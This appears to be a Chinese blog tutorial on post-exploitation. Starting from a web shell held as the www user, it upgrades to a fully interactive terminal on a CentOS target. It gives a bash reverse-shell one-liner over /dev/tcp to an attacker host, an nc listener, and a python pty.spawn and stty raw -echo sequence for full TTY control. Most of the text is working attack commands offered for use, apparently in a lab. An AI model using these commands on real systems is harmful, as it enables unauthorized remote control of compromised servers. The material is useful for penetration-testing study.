背景
在拿到一個網站的shell後發現是www用戶,什麼都搞不了。而且使用蟻劍的虛擬終端時總感覺有些限制,畢竟模擬的是一個普通的shell。爲了能正常的使用vim,需要將普通的shell提升爲全交互式shell(就跟正常的linux終端一樣)。
環境
攻擊機:kali
靶機:centos
操作的三個步驟
1.普通Shell
首先要保證有一個普通的shell,這裏就不多說了。
給kali彈shell
bash -i >& /dev/tcp/192.168.145.128/4444 0>&1
kali
nc -lvvp 4444
然後發現這個shell有很多問題
- 無法使用vim等文本編輯器
- 不能補全
- 不能su
- 沒有向上箭頭使用歷史
- 等等
2.半交互式Shell
拿到一個普通shell後將其提升爲半交互式shell
對於一般的linux系統來說,都默認安裝的有python。儘管我的權限是最低的www權限,但依然可以用python命令
這裏使用python提供的pty模塊,只需要一行腳本就可以創建一個原生的終端,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'
在創建完成後,我們此時就可以運行su命令了
但是還是存在很多問題
- 無法使用vim等文本編輯器
- 不能補全
- 沒有向上箭頭使用歷史
3.完全交互式Shell
第三步就是提升爲完全交互式shell
命令:
$ python -c 'import pty; pty.spawn("/bin/bash")'
//這裏是在反彈回的shell裏操作,先用pty提升成半交互吧,然後Ctrl+Z掛起
//這裏有個坑:有些文章說是ctrl-z掛起,一臉懵逼,最後查資料後猜測作者寫錯了,然後其他作者跟着複製。
Ctrl+c和ctrl+z都是中斷命令,但是他們的作用卻不一樣.
Ctrl+c是強制中斷程序的執行。
Ctrl+z的是將任務中斷,但是此任務並沒有結束,他仍然在進程中他只是維持掛起的狀態。
$ stty raw -echo
$ fg //好像沒什麼用,我輸完上一條命令後就卡死了,然後按下回車就自動補全nc -lvvp 4444
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color
此時已經擁有了一個完全交互式Shell,就可以使用上下左右,vi,tab補全等等一系列操作,並且按Ctrl-c也不會退出。
相關命令解析
stty -echo #禁止回顯,當在鍵盤上輸入時,並不出現在屏幕上
stty echo #打開回顯
stty raw #設置原始輸入
stty -raw #關閉原始輸入
bg
將一個在後臺暫停的命令,變成繼續執行
fg
將後臺中的命令調至前臺繼續運行
jobs
查看當前有多少在後臺運行的命令
ctrl + z
可以將一個正在前臺執行的命令放到後臺,並且暫停
clear
這個命令將會刷新屏幕,本質上只是讓終端顯示頁向後翻了一頁,如果向上滾動屏幕還可以看到之前的操作信息。
reset
這個命令將完全刷新終端屏幕,之前的終端輸入操作信息將都會被清空
參考
https://blog.donot.me/tty-shell/
https://www.jianshu.com/p/e7202cb2c3dd